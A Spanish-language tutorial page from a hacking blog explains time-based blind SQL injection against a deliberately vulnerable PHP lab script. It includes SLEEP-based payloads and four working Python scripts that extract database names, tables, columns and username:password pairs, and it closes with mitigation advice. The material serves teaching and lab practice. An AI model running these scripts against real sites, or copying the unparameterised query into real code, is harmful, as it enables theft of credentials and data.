d4redevil
  • whoami
  • Active Directory
    • Enumeración
    • PowerShell para gestionar Active Directory
    • PowerView & SharpView
    • Ataques a Kerberos
    • Ataque de contraseñas
    • SMB Relay
    • Token Impersonation
    • Golden Ticket
    • LLMNR Poisoning
    • Mimikatz
    • Grupos privilegiados
    • LAPS
  • Linux
    • Enumeración
    • Escalación de privilegios
    • Transferencia de Archivos
  • Windows
    • Enumeración
    • Escalación de privilegios
      • SeImporsonate
      • SeDebugPrivilege
      • SeTakeOwnershipPrivilege
      • Backup Operators
      • DnsAdmins
    • Transferencia de Archivos
  • Scripting
    • Powershell
      • Introducción
      • Cmdlet
      • Alias
      • Comentarios
      • Comandos utiles
      • Variables
      • Tuberías (Pipes)
      • Operaciones
      • Estructuras Condicionales
  • OWASP TOP 10 y Vulnerabilidades Web
    • Inyecciones SQL
      • ¿Qué son las Inyecciones SQL?
      • Laboratorio
      • Inyecciones SQL basada en Uniones
      • Inyecciones SQL basadas en booleanos
      • Inyecciones SQL basadas en tiempo
  • Writeups
    • Hack The Box
      • Linux
        • 🟢Easy
        • 🟡Medium
          • Zipping
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
          • Devel
          • Grandpa
          • Granny
          • Jerry
          • Optimum
          • Legacy
          • Active
          • Sauna
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
    • The Hackers Labs
      • Linux
        • 🟢Principiante
          • Papaya
          • Can You Hack Me?
        • 🟡Avanzado
          • Runners
          • El Candidato
          • El Cliente
        • 🔴Profesional
        • ⚫Experto
          • ⚫Thlcppt_v16
      • Windows
        • 🟢Principiante
          • Cocido Andaluz
          • Ensalá Papas
        • 🟡Avanzado
        • 🔴Profesional
          • BlackGold
        • ⚫Experto
    • Dockerlabs
      • 🔵Muy fácil
      • 🟡Fácil
      • 🟠Medio
        • Database
      • 🔴Difícil
    • VulnHub
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
    • HackMyVM
      • Linux
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
      • Windows
        • 🟢Easy
        • 🟡Medium
        • 🔴Hard
        • ⚫Insane
  • Servicios Comunes
    • TCP
    • UDP
    • FTP (21)
    • SMB (445)
    • MySQL (3306)
    • MSSQL (1433)
  • Cheatsheet
    • Reconocimiento
    • Enumeración
    • Enumeración Web
    • Enumeración de CMS
    • Fuerza Bruta
    • Pivoting
    • Msfvenom
    • Utilidades
    • Fuerza bruta
    • Transferencia de Archivos
  • Contenedores
    • Docker
Con tecnología de GitBook
En esta página
  • Obtener las bases de datos
  • Obtener las tablas
  • Obtener las columnas
  • Obtener los datos
  • Conlusiones finales
  1. OWASP TOP 10 y Vulnerabilidades Web
  2. Inyecciones SQL

Inyecciones SQL basadas en tiempo

AnteriorInyecciones SQL basadas en booleanosSiguienteHack The Box

Última actualización hace 5 meses

¡Hola Hacker! Bienvenid@ a un nuevo artículo.

En este quinto artículo de la serie de Inyecciones SQL, toca hablar de las inyecciones SQL basdas en tiempo.

Las inyecciones SQL basadas en tiempo, también conocidas como Time-Based Blind SQL Injection, son una técnica de ataque que se utiliza cuando el atacante encuentra una vulnerabilidad de inyección SQL en una aplicación web y la aplicación no devuelve mensajes de error visibles. En lugar de obtener respuestas inmediatas de la aplicación, el atacante aprovecha los retrasos en las respuestas para extraer información de la base de datos.

Para demostrar esta inyección SQL, utilizaremos el script search_user_by_id.php el cual toma el parámetro id por GET y realiza una búsqueda del usuario con el id correspondiente.

vim search_user_by_id.php
<?php
function print_query($query) {
    echo "<div style='background-color: #000; color: #fff; padding: 1rem;'>
        <h2>Consulta SQL</h2>
        <code><pre>$query</pre></code>
    </div>";
}

$server = "127.0.0.1";
$username = getenv('MYSQL_USER');
$password = getenv('MYSQL_PASSWORD');
$database = getenv('MYSQL_DATABASE');

$conn = new mysqli($server, $username, $password, $database);

if ($conn->connect_error) die('Error al conectarse a la base de datos: ' . $conn->connect_error);

$id = isset($_GET['id']) && !empty($_GET['id']) ? $_GET['id'] : 1;
$query = "SELECT name FROM users WHERE id=$id";
print_query($query);

$res = mysqli_query($conn, $query);

if (mysqli_num_rows($res)) {
	$row = mysqli_fetch_assoc($res);
	echo "Name: " . $row['name'];
} 

mysqli_close($conn);

Aquí, la consulta fuerza a la base de datos a esperar 2 segundos antes de continuar (por lo general es más de dos segundos), lo que permite detectar la vulnerabilidad observando los tiempos de respuesta.

Podemos visualizar mejor esto, usando los comandos time y curl para realizar la petición.

Obtener las bases de datos

Para obtener las bases de datos utilizaremos la siguiente petición:

http://localhost/search_user_by_id.php?id=1%20AND%20(SELECT%20IF(ASCII((SELECT%20SUBSTRING(GROUP_CONCAT(schema_name),1,1)%20FROM%20information_schema.schemata))=105,SLEEP(2),0))--%20-

Lo cual genera la siguiente consulta SQL:

SELECT name FROM users WHERE id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),1,1) FROM information_schema.schemata))=105,SLEEP(2),0))-- -

Expliquemos paso a paso cada una de las partes que componen la consulta para entenderlo mejor.

En primer lugar, tenemos nuestra consulta prinicipal, la cual consulta a la tabla users para obtener el valor del campo name donde el id sea igual a 1.

SELECT name FROM users WHERE id=1

Luego viene la subconsulta.

(SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),1,1) FROM information_schema.schemata))=105,SLEEP(2),0))

Esta subconsulta se inyecta dentro de la consulta original. Vamos a desglosarla:

  • SELECT SUBSTRING(GROUP_CONCAT(schema_name),1,1) FROM information_schema.schemata:

    • information_schema.schemata: Es una tabla que contiene los nombres de todos los esquemas (bases de datos) en el servidor MySQL.

    • GROUP_CONCAT(schema_name): Esta función concatena todos los nombres de esquemas en una sola cadena.

    • SUBSTRING(...,1,1): Extrae el primer carácter del resultado concatenado.

    Este fragmento de código obtiene el primer carácter del primer nombre de esquema en el servidor.

En este caso, la primera base de datos es information_schema por ende, el primer caracter de esta corresponde a la letra i.

  • ASCII(...):

    • La función ASCII() devuelve el valor ASCII del primer carácter del primer esquema que se obtuvo en la subconsulta anterior. El valor de ASCII() para caracteres como 'a', 'b', 'c', etc., puede usarse para realizar comparaciones.

En este caso, la letra i le corresponde el valor ascii 105.

  • IF(ASCII(...) = 105, SLEEP(2), 0):

    • Si el valor ASCII del primer carácter del primer nombre de esquema es igual a 105 (que corresponde al carácter 'i' en el sistema ASCII), entonces ejecutará SLEEP(2), lo que provoca que la base de datos se detenga durante 2 segundos.

    • Si el valor no es 105, no hace nada (devuelve 0).

Ahora que tenemos claro como funciona la inyección SQL y como podemos explotarla, podemos automatizar este proceso montando un script en Python el cual obtenga todas las bases de datos.

#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

main_url = "http://localhost/search_user_by_id.php"

def makeSQLi():
	p1 = log.progress("SQL Injection")
	p1.status("Obteniendo las bases de datos")
	
	time.sleep(2)

	p2 = log.progress("Datos extraídos")
	extracted_info = ""

	for position in range(1, 150):
		for character in range(33, 127):
			sqli_url = main_url + "?id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),%d,1) FROM information_schema.schemata))=%d,SLEEP(1),0))-- -" % (position, character)
			p1.status(sqli_url)
            		
			res = requests.get(sqli_url)
		
			if res.elapsed.total_seconds() > 1:
				extracted_info += chr(character)
				p2.status(extracted_info)
				break            

if __name__ == '__main__':
    makeSQLi()

Ejecutamos el script:

Genial, logramos obtener las bases de datos.

Obtener las tablas

El proceso es similar al anterior, solo que utilizaremos la tabla information_schema.tables.

#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

main_url = "http://localhost/search_user_by_id.php"

def makeSQLi():
	p1 = log.progress("SQL Injection")
	p1.status("Obteniendo las tablas de la base de datos app_db")
	
	time.sleep(2)

	p2 = log.progress("Datos extraídos")
	extracted_info = ""

	for position in range(1, 150):
		for character in range(33, 127):
			sqli_url = main_url + "?id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(table_name),%d,1) FROM information_schema.tables WHERE table_schema='app_db'))=%d,SLEEP(1),0))-- -" % (position, character)
			p1.status(chr(character))
            		
			res = requests.get(sqli_url)
		
			if res.elapsed.total_seconds() > 1:
				extracted_info += chr(character)
				p2.status(extracted_info)
				break            

if __name__ == '__main__':
    makeSQLi()

Ejecutamos el script:

Obtener las columnas

#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

main_url = "http://localhost/search_user_by_id.php"

def makeSQLi():
	p1 = log.progress("SQL Injection")
	p1.status("Obteniendo las columns de la tabla app_db.users")
	
	time.sleep(2)

	p2 = log.progress("Datos extraídos")
	extracted_info = ""

	for position in range(1, 150):
		for character in range(33, 127):
			sqli_url = main_url + "?id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(column_name),%d,1) FROM information_schema.columns WHERE table_schema='app_db' AND table_name='users'))=%d,SLEEP(1),0))-- -" % (position, character)
			p1.status(chr(character))
            		
			res = requests.get(sqli_url)
		
			if res.elapsed.total_seconds() > 1:
				extracted_info += chr(character)
				p2.status(extracted_info)
				break            

if __name__ == '__main__':
    makeSQLi()

Ejecutamos el script:

Obtener los datos

#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

main_url = "http://localhost/search_user_by_id.php"

def makeSQLi():
	p1 = log.progress("SQL Injection")
	p1.status("Obteniendo los usuarios de la tabla app_db.users")
	
	time.sleep(2)

	p2 = log.progress("Datos extraídos")
	extracted_info = ""

	for position in range(1, 150):
		for character in range(33, 127):
			sqli_url = main_url + "?id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(username,0x3a,password),%d,1) FROM app_db.users))=%d,SLEEP(1),0))-- -" % (position, character)
			p1.status(chr(character))
            		
			res = requests.get(sqli_url)
		
			if res.elapsed.total_seconds() > 1:
				extracted_info += chr(character)
				p2.status(extracted_info)
				break            

if __name__ == '__main__':
    makeSQLi()

De esta manera, logramos obtener los usuarios.

Así concluimos este artículo.

Conlusiones finales

A lo largo de este artículo, hemos demostrado cómo las inyecciones SQL basadas en tiempo constituyen un ataque que explota las variaciones en los tiempos de respuesta de una base de datos para extraer información de forma indirecta. Utilizando funciones como SLEEP(), un atacante puede inducir retrasos en las respuestas del servidor, lo que le permite inferir detalles sobre la estructura de la base de datos, como los nombres de esquemas, tablas y otros elementos sensibles, sin necesidad de obtener datos visibles explícitamente.

Para mitigar este tipo de ataques, es fundamental:

  • Sanitizar y validar entradas: Usar consultas parametrizadas.

  • Principio de menor privilegio: Limitar permisos de acceso.

  • Firewalls de aplicaciones web (WAF): Detectar y bloquear inyecciones.

  • Monitoreo: Detectar comportamientos inusuales, como retrasos en las respuestas.

¡Gracias por leer!

¡Happy Hacking!

Creamos el script en la carpeta app de nuestro .

laboratorio